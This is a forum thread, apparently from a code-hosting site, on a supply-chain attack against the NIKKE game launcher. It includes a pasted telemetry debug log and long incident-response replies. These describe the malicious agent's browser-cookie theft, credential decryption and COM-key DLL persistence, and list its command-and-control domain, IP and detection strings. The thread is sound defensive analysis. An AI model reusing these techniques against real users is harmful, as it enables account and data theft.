[2026-11-04 00:52:27.566][77980][ERROR][cgi_mgr.cpp(213)]CGIMgr::PickIdlingCGICurl PickIdlingCGICurl, task_url:https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport, task_id=1073741935
[2026-11-04 00:52:27.566][77980][ERROR][cgi_curl.cpp(114)]CGICurl::Start Start task=1073741938
[2026-11-04 00:52:27.566][77980][TRACE][thread.cpp(189)]TinyDL::CThread::StartThread start enter.
[2026-11-04 00:52:27.566][77980][TRACE][thread.cpp(235)]TinyDL::CThread::StartThread start,seq:115, task:115, total:3
[2026-11-04 00:52:27.566][77980][ERROR][cgi_mgr.cpp(284)]CGIMgr::StartCGITask StartCGITask, cgi_curl task=1073741938 start
[2026-11-04 00:52:27.567][77980][ERROR][cgi_mgr.cpp(389)]CGIMgr::AddCGITask AddCGITask, task_id=1073741939, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:27.567][77980][ERROR][cgi_mgr.cpp(103)]CGIMgr::CheckTasksDeque CheckTasksDeque, running task num=2, import_query_task_num=0
[2026-11-04 00:52:27.567][77980][ERROR][cgi_curl.cpp(114)]CGICurl::Start Start task=1073741939
[2026-11-04 00:52:27.567][77980][TRACE][thread.cpp(189)]TinyDL::CThread::StartThread start enter.
[2026-11-04 00:52:27.567][77980][TRACE][thread.cpp(235)]TinyDL::CThread::StartThread start,seq:116, task:116, total:3
[2026-11-04 00:52:27.567][77980][ERROR][cgi_mgr.cpp(284)]CGIMgr::StartCGITask StartCGITask, cgi_curl task=1073741939 start
[2026-11-04 00:52:27.576][125240][ERROR][cgi_curl.cpp(134)]CGICurl::ReqCGI ReqCGI, task_id=1073741938, strategy=0, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:27.576][13924][ERROR][cgi_curl.cpp(134)]CGICurl::ReqCGI ReqCGI, task_id=1073741939, strategy=0, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:27.576][13924][TRACE][cgi_curl.cpp(110)]CGICurl::ResetCurlForReuse ResetCurlForReuse: curl_obj_=08869088
[2026-11-04 00:52:27.576][125240][TRACE][cgi_curl.cpp(110)]CGICurl::ResetCurlForReuse ResetCurlForReuse: curl_obj_=0886C3A0
[2026-11-04 00:52:27.576][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Found bundle for host na.fleetlogd.com: 0x5674f78 [can pipeline]

[2026-11-04 00:52:27.576][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Re-using existing connection! (#0) with host na.fleetlogd.com

[2026-11-04 00:52:27.576][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connected to na.fleetlogd.com (13.57.86.131) port 443 (#0)

[2026-11-04 00:52:27.576][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.576][125240][TRACE][cgi_curl.cpp(661)]CGICurl::ShowDebugInfo [CURL]Header out: POST /fleet.repo.game.ReportGather/GuestReport HTTP/1.1
Host: na.fleetlogd.com
Accept: /
Accept-Encoding: deflate, gzip
Cookie: Cookie: biz_ticket=REDACTED;login_ticket=REDACTED;uid=REDACTED;
Keep-Alive: timeout=120
Content-Type:application/json
Content-Length: 863

.
[2026-11-04 00:52:27.576][125240][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 4, size: 863.
[2026-11-04 00:52:27.576][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]upload completely sent off: 863 out of 863 bytes

[2026-11-04 00:52:27.577][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] Trying 13.57.86.131...

[2026-11-04 00:52:27.577][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TCP_NODELAY set

[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: HTTP/1.1 200 OK
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Date: Tue, 03 Nov 2026 15:52:46 GMT
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Type: application/json
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Length: 55
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Connection: keep-alive
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Allow-Headers: *
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Allow-Origin: *
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Max-Age: 3600
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: X-Content-Type-Options: nosniff
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in:
.
[2026-11-04 00:52:27.625][110092][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connection #0 to host na.fleetlogd.com left intact

[2026-11-04 00:52:27.625][110092][ERROR][cgi_curl.cpp(321)]CGICurl::ReqCGI task=1073741937, curl perform success. url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:27.625][110092][ERROR][cgi_curl.cpp(431)]CGICurl::SetRspCode SetRspCode, rsp_code=200
[2026-11-04 00:52:27.625][110092][ERROR][cgi_curl.cpp(440)]CGICurl::CheckResult CheckResult, result=1
[2026-11-04 00:52:27.639][77980][ERROR][cgi_mgr.cpp(524)]CGIMgr::FireEvents OnCGITaskRsp, task_id=1073741937, result=0, error_code=0, rsp_code=200, strategy=0, error_msg=, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport, user_data=0, size=55
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: HTTP/1.1 200 OK
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Date: Tue, 03 Nov 2026 15:52:47 GMT
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Type: application/json
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Length: 55
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Connection: keep-alive
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Allow-Headers: *
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Allow-Origin: *
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Max-Age: 3600
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: X-Content-Type-Options: nosniff
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in:
.
[2026-11-04 00:52:27.697][125240][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connection #0 to host na.fleetlogd.com left intact

[2026-11-04 00:52:27.697][125240][ERROR][cgi_curl.cpp(321)]CGICurl::ReqCGI task=1073741938, curl perform success. url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:27.697][125240][ERROR][cgi_curl.cpp(431)]CGICurl::SetRspCode SetRspCode, rsp_code=200
[2026-11-04 00:52:27.697][125240][ERROR][cgi_curl.cpp(440)]CGICurl::CheckResult CheckResult, result=1
[2026-11-04 00:52:27.698][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connected to na.fleetlogd.com (13.57.86.131) port 443 (#1)

[2026-11-04 00:52:27.698][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]ALPN, offering http/1.1

[2026-11-04 00:52:27.698][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.698][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.3 (OUT), TLS handshake, Client hello (1):

[2026-11-04 00:52:27.698][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 512.
[2026-11-04 00:52:27.702][77980][ERROR][cgi_mgr.cpp(524)]CGIMgr::FireEvents OnCGITaskRsp, task_id=1073741938, result=0, error_code=0, rsp_code=200, strategy=0, error_msg=, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport, user_data=0, size=55
[2026-11-04 00:52:27.819][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.3 (IN), TLS handshake, Server hello (2):

[2026-11-04 00:52:27.820][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Certificate (11):

[2026-11-04 00:52:27.820][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Server key exchange (12):

[2026-11-04 00:52:27.820][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Server finished (14):

[2026-11-04 00:52:27.821][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.821][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS handshake, Client key exchange (16):

[2026-11-04 00:52:27.821][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 70.
[2026-11-04 00:52:27.821][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.821][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):

[2026-11-04 00:52:27.821][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 1.
[2026-11-04 00:52:27.821][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.821][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (OUT), TLS handshake, Finished (20):

[2026-11-04 00:52:27.821][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 16.
[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]TLSv1.2 (IN), TLS handshake, Finished (20):

[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256

[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]ALPN, server accepted to use http/1.1

[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Server certificate:

[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] subject: C=CN; ST=Guangdong Province; L=Shenzhen; O=Tencent Technology (Shenzhen) Company Limited; CN=*.fleetlogd.com

[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] start date: Sep 24 00:00:00 2026 GMT

[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] expire date: Apr 10 23:59:59 2027 GMT

[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] issuer: C=US; O=DigiCert, Inc.; CN=DigiCert Secure Site OV G2 TLS CN RSA4096 SHA256 2022 CA1

[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL] SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.

[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 6, size: 5.
[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(661)]CGICurl::ShowDebugInfo [CURL]Header out: POST /fleet.repo.game.ReportGather/GuestReport HTTP/1.1
Host: na.fleetlogd.com
Accept: /
Accept-Encoding: deflate, gzip
Cookie: Cookie: biz_ticket=REDACTED;login_ticket=REDACTED;uid=REDACTED;
Keep-Alive: timeout=120
Content-Type:application/json
Content-Length: 906

.
[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(664)]CGICurl::ShowDebugInfo [CURL]Type: 4, size: 906.
[2026-11-04 00:52:27.942][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]upload completely sent off: 906 out of 906 bytes

[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: HTTP/1.1 200 OK
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Date: Tue, 03 Nov 2026 15:52:47 GMT
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Type: application/json
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Content-Length: 55
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Connection: keep-alive
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Allow-Headers: *
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Allow-Origin: *
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: Access-Control-Max-Age: 3600
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in: X-Content-Type-Options: nosniff
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(657)]CGICurl::ShowDebugInfo [CURL]Header in:
.
[2026-11-04 00:52:28.064][13924][TRACE][cgi_curl.cpp(647)]CGICurl::ShowDebugInfo [CURL]Connection #1 to host na.fleetlogd.com left intact

[2026-11-04 00:52:28.064][13924][ERROR][cgi_curl.cpp(321)]CGICurl::ReqCGI task=1073741939, curl perform success. url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport
[2026-11-04 00:52:28.064][13924][ERROR][cgi_curl.cpp(431)]CGICurl::SetRspCode SetRspCode, rsp_code=200
[2026-11-04 00:52:28.064][13924][ERROR][cgi_curl.cpp(440)]CGICurl::CheckResult CheckResult, result=1
[2026-11-04 00:52:28.078][77980][ERROR][cgi_mgr.cpp(524)]CGIMgr::FireEvents OnCGITaskRsp, task_id=1073741939, result=0, error_code=0, rsp_code=200, strategy=0, error_msg=, url=https://na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport, user_data=0, size=55

I dont know what to make of this, or if I have had anything taken, but I am more than happy to give the entire markdown file of the log if needed.

@LordKane1701

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Guys, I formatted my computer and installed a fresh version of Windows. I wiped everything from scratch, but I logged in using the same Microsoft account as before. Even though I had uninstalled OneDrive—which had been full for a long time—it showed up with files from my old PC, though I didn’t download any of them. Some Microsoft account settings also carried over, such as my old PIN. Is there still any risk that my PC might be infected with the virus?

only if onedrive grabbed the NIKKE game and launcher directories and your registery and the dll hook folder. but as far as I know Onedrive does NOT sync that unless you tell it too

@Trunk2004

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So, did the issues about PC launcher is resolved or I need to wait few more hours, guys?

@victorbbayer-lgtm

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Guys, I formatted my computer and installed a fresh version of Windows. I wiped everything from scratch, but I logged in using the same Microsoft account as before. Even though I had uninstalled OneDrive—which had been full for a long time—it showed up with files from my old PC, though I didn’t download any of them. Some Microsoft account settings also carried over, such as my old PIN. Is there still any risk that my PC might be infected with the virus?

only if onedrive grabbed the NIKKE game and launcher directories and your registery and the dll hook folder. but as far as I know Onedrive does NOT sync that unless you tell it too

I used the Launcher check, and the program said it didn't find anything. Hope its correct

@OnlyEmergencies

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Replies to the comments posted since Nov 4, 12:18 GMT.

@OnlyEmergencies The gaming PC is infected, for one session. One k2f_chan line means the agent ran once, on Nov 3 between 12:00 and 13:00 GMT. While the launcher was open, the operator could run any command and read any file your Windows account can read. The logs don't show what was done, so treat everything on that PC as exposed. That includes Brave: the agent's browser code reads %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data along with Chrome, Edge, Vivaldi and Opera. Blocking third-party cookies doesn't protect your logins. Those are first-party cookies, and the agent reads Brave's cookie database from disk.

With the launcher closed, this agent does nothing more, and your checks show it left no persistence. To install its DLL it creates %LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper\<64 hex> itself, even without Chrome, and its cleanup only deletes the subfolders inside. No Google folder therefore means the DLL was never installed, and the tool found no CLSID key either.

Closing the launcher doesn't undo what was already copied, or anything exec may have installed, which no log would show. From the laptop, change the NIKKE / Level Infinite password first, then your email and every password saved in Brave on the gaming PC, and log out of all sessions, because stolen cookies work without the password. If Brave Sync links the two PCs, the laptop's saved passwords were on the gaming PC too. Reinstalling Windows is the safest option.

On reinstalling NIKKE: Level Infinite confirmed a fix on X on Nov 4 at 03:13 GMT, and at 11:20 GMT that day all four files were clean on the four CDN servers I checked. Since Nov 4 the launcher also loads rebuilt front-end files, and the attacker's server stopped answering on Nov 3 at 18:31 GMT. Level Infinite hasn't said how the files were changed, so nobody outside the company can say it won't happen again. If you reinstall, delete %APPDATA%\nikke_launcher\tbs_cache before the first launch if it is still there, and keep your blocks: insightjs.com and analytics.insightjs.com still resolve to 89.127.233.127.

The tool can't see debug.log after the uninstall, so its result only covers what is left on disk, and your saved log is what counts. In SRUM, look at the tbs_browser.exe rows on Nov 3 from 13:00 to 15:00 your time (12:00 to 14:00 if NetworkUsageView shows GMT) and compare Bytes Sent with your other launch hours. A large jump means a collection went out, but no jump doesn't rule out a small one. Rows later that day would mean the launcher was still open, for example in the notification area, and the agent with it.

The laptop: no k2f_chan means the agent never ran there, as long as its debug.log starts before your last launch on that PC.

@MotherSphere thank you for that detailled answer and for your continous work/support on this topic.

Its basically as I feared then, nothing certain - everything possible.

So far I have changed all passwords I could think off, made sure to log out of all programs regarding those changes. Brave isn't synched and because it is the gaming PC most of my personal files should be save, they might have stolen my meme folder and yeah the passwords to some stuff but so far the accounts seem to be working fine and I could change all passwords I wanted. Saving files from the HDD should be though?

Now to be super save with Windows I am contemplating a factory reset of windows but I am not sure if that does anything? Reinstallation is a problem as this thing came pre-installed and I have no idea where I left the credentials.

So far it seems I have succeeded in deleting all Nikke stuff, still not sure if I should install it again or just wait a few more days but that's a me problem.

Again thanks for your work and those like you, who carried this community for the last 48hours. I really hope you have a chill weekend.

@MotherSphere

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Replies to the comments posted since Nov 5, 00:17 GMT.

Two changes first. Since Nov 5 at 02:05 GMT, insightjs.com is on registrar hold: the .com registry lists client hold and the name servers NS1.SUSPENDED-DOMAIN.COM and NS2.SUSPENDED-DOMAIN.COM, so insightjs.com, www.insightjs.com and analytics.insightjs.com no longer resolve (NXDOMAIN through Google and Cloudflare DNS at 09:09 GMT). Keep the hosts and firewall blocks anyway: a hold can be lifted, and the IP blocks don't depend on DNS.

Since Nov 4 at 23:00 GMT (Nov 5 08:00 UTC+9), the official launcher also scans for this malware when it starts and, if you agree, deletes the logs, the DLL and the registry key (Level Infinite's follow-up notice). The same notice asks anyone with damages to contact its customer support. If you want to keep evidence, run nikke-check and save the report before you open the launcher again, or copy Launcher\intl_service\debug.log, the Launcher\log\ folder and %APPDATA%\nikke_launcher\tbs_cache somewhere else.

@AssessedMen For the days until Nov 8, I'd keep using the PC as you do now. Everything this agent writes by itself is checked on your PC: no HKCU key, no PlatformExperienceHelper folder, and nothing unexpected in Prefetch, startup entries or scheduled tasks. The agent only ran inside the launcher, and the launcher is gone. What no check rules out is a program started with exec, and nobody here has reported one. If you want to be strict until the reinstall, leave banking and crypto to your phone.

@mattbxd Yes, for the data it is the worst case: the agent ran on Nov 1 and Nov 2, got an ID from the attacker's server the first time and reused it the second time, and sent the computer name both times. So the operator had a session on each of those launches for as long as the launcher stayed open. Nothing is active now: no DLL and no key.

Wiping C: removes everything the agent writes by itself. Its own writes all go to the Windows user profile and the user's registry: %TEMP%, the DLL folder under %LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper, and the HKCU key. On D:, the launcher saved the payload in NIKKE\Launcher\log\tinyget\, and these builds delete it after it runs (payload_cleanup). Delete the NIKKE folder and install the game again. A file the operator placed with exec is the only thing a C: wipe doesn't cover, on any drive. Nobody here has reported one, so keeping the other game installs is a reasonable choice, and wiping D: too is the only way to be certain.

The order: save the report first. Then, from another device, change the NIKKE / Level Infinite password, the email password and every password saved in the browsers on that PC, and use "sign out of all sessions" on the main accounts, because stolen cookies work without the password. Replace any API keys, tokens or crypto wallets that were on that PC. Then wipe.

@Judgementkazzy822 You can do the main steps without reinstalling Windows. Your checks show the Chrome DLL was never installed: the agent puts it in a subfolder with a 64-character name inside PlatformExperienceHelper, and a folder that only holds Chrome's own files (LoadFeatures, a log file) is Chrome's. With no DLL and no key, nothing from this attack runs once the launcher is closed.

The k2f_chan registered line still means the agent ran while the launcher was open, so treat what that PC held as read:

  1. If you want a record, run nikke-check and save the report first.
  2. From your phone, change your Apple Account password and remove any device you don't recognize from its device list. The agent's creds command decrypts the login the NIKKE launcher saved, and 2FA doesn't stop someone who already has a signed-in session.
  3. Change your email password, then every password saved in a browser on that PC, and use "sign out of all sessions" on your main accounts.
  4. Delete %APPDATA%\nikke_launcher\tbs_cache (paste that path into the Explorer address bar), then open or reinstall NIKKE. The launcher now checks for this malware itself when it starts.

These steps don't cover a program the operator could have started with exec while the agent ran. Nobody here has reported one, and only a Windows reinstall rules it out, so that part is your call.

@BluFondu Your NetworkUsageView photos point to two agent downloads. nikke_launcher.exe downloads the payload, which is 205,135 bytes, and in your other launch hours it received 3 to 150 KB. Two rows stand out: 11/1 2:23 with 279,465 bytes received and 11/2 5:25 with 340,465. In the same two hours, tbs_browser.exe, which carries the agent's traffic, sent 180,303 and 130,029 bytes, among your highest. A SRUM row covers about the hour before its time. A launcher update can also raise the received bytes, so this isn't proof, but it fits two agent runs. Your fourth photo doesn't load for me, so I can't see what WhyKusanagi's tool reported; WAS INFECTED would settle it. You've already done the password changes and sign-outs. Since the agent most likely ran, a reset with "Remove everything" is the safe choice. Malwarebytes, and the missing key and DLL, show that nothing from this attack is installed now, but no scan can show what was read or rule out a program started with exec.

@machina-dot Thanks for reporting back.

@skkjohnny The row you picked is the one I'd pick too. 118400 (Nov 3, 04:18 UTC) has 353,210 bytes received by nikke_launcher.exe, the most in your list. Take away one 205,135-byte payload and 148,075 is left, close to your other busy launch hours since Oct 28 (138,366 to 179,639). There is a second candidate: 118072 (Oct 31, 18:32 UTC) with 293,120 received, which leaves 87,985 after a payload, in the range of your Oct 30 hour. Before Sep 27 your launcher never received more than 132,746 in an hour. A SRUM row covers about the hour before its time, so the downloads would fall between 17:32 and 18:32 UTC on Oct 31 and between 03:18 and 04:18 UTC on Nov 3. Builds were being served at both times: Kallontz's PC downloaded one at 17:20 UTC on Oct 31, and 6ae90538 reached other PCs from 00:47 to at least 12:24 UTC on Nov 3. With the log gone, I can't tell whether it was one run or two.

Bytes Sent for nikke_launcher.exe is normal in both hours (88,206 and 115,965), but that column can't show what the agent sent: its traffic goes out through tbs_browser.exe, which your SRUM doesn't list at all, and I can't tell why from here. So SRUM gives you the likely times of the downloads, not what was taken. The account steps stay the same. Not noticing anything is normal: the agent has no window of its own, and all its traffic goes through the launcher's processes.

@fuenstream If the line you saw was k2f_chan registered, the agent ran on that PC while the launcher was open. A Nov 2 install fits, since builds were served that day. nikke-check can't read debug.log after the uninstall, so its result only covers what is left on disk. Your checks there are good news: no key and no DLL, so nothing from this attack runs now. From your phone or another device, change the NIKKE / Level Infinite password first, then your email and every password saved in a browser on that PC, and use "sign out of all sessions" on your main accounts. Replace any API keys, tokens or crypto wallets that were on that PC. Only a Windows reinstall rules out a program started with exec, and nobody here has reported one.

@a4840639 Your two runs and the missing files fit together. The later builds clean up after themselves: payload_cleanup deletes the files in log\tinyget whose names match tinyget*.log or k2f*.lua and that start with LuaJIT bytecode (decompiled payload), so the Nov 2 run most likely deleted the October k2f.lua as well. The resuming line comes from k2f.agent.state in the launcher's Local Storage: the first run saved its ID and password there, the second run reused them, and the attacker's server saw one machine across both runs. Deleting tbs_cache removed that record, but debug.log already tells you what it held: two sessions, the first one in late October.

With no DLL and no key, nothing is running now. Treat the PC as infected since the first run: from another device, change the NIKKE password first, then your email and every password saved in a browser, sign out of all sessions, and replace the keys, tokens and wallets that were on the PC.

Could you post the date and time at the start of the lua downloaded to log\tinyget\k2f.lua line? That line holds no personal data. Level Infinite's notice says distribution began on Oct 30 at 03:52 UTC+9, and October k2f.lua runs are evidence against that date.

@Iwassoobsessedwith I read the follow-up notice too, and I agree with both points. Against the Oct 30 start there is more than zbeosf's Oct 23 run: runs saved as k2f.lua were reported on Oct 24, and victims' k2f.agent.state records show the server's poll settings on Oct 23 (900 s) and Oct 24 (600 s). a4840639 reports a late-October k2f.lua run above as well.

Their timeline also dates the domain takeover to Sep 27 at 10:59 UTC+9, which is 01:59:19 GMT, the registration time in the .com registry. That fits a lapsed name registered again, as the Amazon certificates from 2019 to 2022 suggested. Level Infinite describes insightjs.com as an open-source domain that some of its game services used, and says the launcher scripts were changed through that domain at 15:41 UTC+9. The modified files sat on its own CDN with Last-Modified 06:41 GMT, and the notice doesn't explain how a domain takeover changed files there.

On leftover DLLs, the code partly supports their wording. Chrome loads the DLL through one registry entry that chrome_install writes, the HKCU CLSID {E77CC89B-7401-4C04-8CED-149DB35ADD04} key. With that key gone and Chrome closed once, nothing from this attack points Chrome to the file. Where the key is still there, the DLL is live. I'd still delete the folder after a restart.

@victorbbayer-lgtm LordKane1701 is right. A fresh Windows install removes everything this agent writes by itself: the HKCU key, the DLL under %LOCALAPPDATA% and its files in %TEMP%. OneDrive backs up user folders such as Desktop, Documents and Pictures, not AppData or the registry, so it can't bring those back. Account settings and the PIN are settings, not programs. The only thing OneDrive could bring back is a file the operator placed in those folders with exec, which nobody here has reported, and it would still have to be started. A clean nikke-check result on the new install agrees. If you haven't yet, change your Microsoft account password and sign out everywhere on account.microsoft.com, since that account now restores your files.

@Trunk2004 The launcher has been fixed since Nov 3 and 4. Level Infinite replaced three of the four modified files on Nov 3 between 17:04 and 17:23 GMT and the last one on the CDN servers on Nov 4 between 03:09 and 03:21 GMT, and since Nov 4 the launcher loads rebuilt files. Since Nov 4 at 23:00 GMT it also scans for this malware when it starts. Before you open it: if you used the launcher between Sep 27 and Nov 4, check first whether the agent ran (nikke-check, or search Launcher\intl_service\debug.log for k2f_chan), then delete %APPDATA%\nikke_launcher\tbs_cache. Keep the hosts and firewall blocks.

@OnlyEmergencies A factory reset is enough here with the right options. In Settings > System > Recovery > Reset this PC, choose "Remove everything": it reinstalls Windows and deletes the apps, settings and files on the Windows drive. "Keep my files" keeps your user folder, which is where this agent writes, so it isn't a clean start. "Cloud download" gets fresh Windows files from Microsoft instead of the copy stored on the PC. A Windows that came pre-installed activates with the key stored in the PC's firmware, so you don't need any credentials. Leave "Delete files from all drives" off if you want to keep the HDD.

On the HDD, documents, pictures, videos and music are fine to keep. Don't run programs or scripts copied from that PC unless you can download them again. Nothing this agent writes by itself goes to a second drive; only a file placed with exec could, and none has been reported. For NIKKE, the files have been clean since Nov 4 and the launcher now checks for this malware when it starts, so reinstalling after the reset is fine whenever you want.

@Solyrus Thanks, that is a useful comparison. The lines you posted are the launcher's own traffic: na.fleetlogd.com/fleet.repo.game.ReportGather/GuestReport is its telemetry and www.jupiterlauncher.com/api/v1/fleet.repo.game.RepoSVC/GetVersion its version check, and clean launchers send both. An agent download shows as a request for https://analytics.insightjs.com/comm/assets/insight.bundle in a tinyget log and a k2f_chan registered line in debug.log. Your report has neither.

